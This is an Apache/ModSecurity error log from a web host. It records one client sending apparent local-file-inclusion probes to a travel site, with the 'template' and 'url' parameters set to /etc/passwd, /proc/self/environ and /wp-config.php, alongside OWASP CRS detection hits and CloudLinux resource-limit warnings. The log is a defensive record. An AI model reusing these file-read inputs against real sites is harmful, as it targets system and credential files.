[Fri Jul 17 08:55:54.993508 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:template: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTXAAAAAM"]
[Fri Jul 17 08:55:54.993651 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:template: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTXAAAAAM"]
[Fri Jul 17 08:55:54.994158 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTXAAAAAM"]
[Fri Jul 17 08:55:54.994327 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.994671 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwhHlOGcokz2QIwTTXAAAAAM"]
[Fri Jul 17 08:55:54.998464 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:template: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhAi3pC6yjXGNq2AsgAAAAU"]
[Fri Jul 17 08:55:54.998587 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:template: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhAi3pC6yjXGNq2AsgAAAAU"]
[Fri Jul 17 08:55:54.998656 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:template: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwrEWOaI5pmYo9fnPBwAAAAA"]
[Fri Jul 17 08:55:54.998741 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:template: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwrEWOaI5pmYo9fnPBwAAAAA"]
[Fri Jul 17 08:55:54.999108 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhAi3pC6yjXGNq2AsgAAAAU"]
[Fri Jul 17 08:55:54.999176 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwrEWOaI5pmYo9fnPBwAAAAA"]
[Fri Jul 17 08:55:54.999223 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.999269 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.999502 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwhAi3pC6yjXGNq2AsgAAAAU"]
[Fri Jul 17 08:55:54.999549 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwrEWOaI5pmYo9fnPBwAAAAA"]
[Fri Jul 17 08:55:55.020314 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:template: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sngAAABQ"]
[Fri Jul 17 08:55:55.020459 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:template: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sngAAABQ"]
[Fri Jul 17 08:55:55.021020 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sngAAABQ"]
[Fri Jul 17 08:55:55.021209 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.021559 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw0gVnBK6wAv37w6sngAAABQ"]
[Fri Jul 17 08:55:55.027246 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.031456 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.035074 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.037940 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.040381 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.045727 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.057592 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:url: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6snwAAABQ"]
[Fri Jul 17 08:55:55.057818 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.058193 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6snwAAABQ"]
[Fri Jul 17 08:55:55.058312 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.058538 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.058577 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw0gVnBK6wAv37w6snwAAABQ"]
[Fri Jul 17 08:55:55.061478 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:url: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVwwAAABM"]
[Fri Jul 17 08:55:55.061989 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVwwAAABM"]
[Fri Jul 17 08:55:55.062136 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.062391 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw_wooI4qY7Jg93pVwwAAABM"]
[Fri Jul 17 08:55:55.069686 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:url: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6rgAAABE"]
[Fri Jul 17 08:55:55.069791 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:url: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6rgAAABE"]
[Fri Jul 17 08:55:55.070253 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw4e39YUk0SgV8AU6rgAAABE"]
[Fri Jul 17 08:55:55.070354 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.070648 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw4e39YUk0SgV8AU6rgAAABE"]
[Fri Jul 17 08:55:55.075138 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:url: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw-1pLmPpy2r_2CxflgAAAA8"]
[Fri Jul 17 08:55:55.075261 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:url: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw-1pLmPpy2r_2CxflgAAAA8"]
[Fri Jul 17 08:55:55.075807 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw-1pLmPpy2r_2CxflgAAAA8"]
[Fri Jul 17 08:55:55.075933 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
